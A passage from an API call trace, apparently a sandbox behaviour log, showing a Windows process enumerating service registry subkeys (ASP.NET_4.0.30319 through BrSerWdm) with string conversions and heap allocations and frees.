lpName="ASP.NET_4.0.30319") returned 0x0 [0254.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1de4408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0254.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0254.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0254.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1de44e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0254.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0254.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0254.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x1dd29e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0254.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1de44e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0254.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0254.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0254.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1de4408, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0254.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0254.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1de44e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1de44e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0254.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0254.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1de44e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0254.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0254.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0254.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0254.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.965] 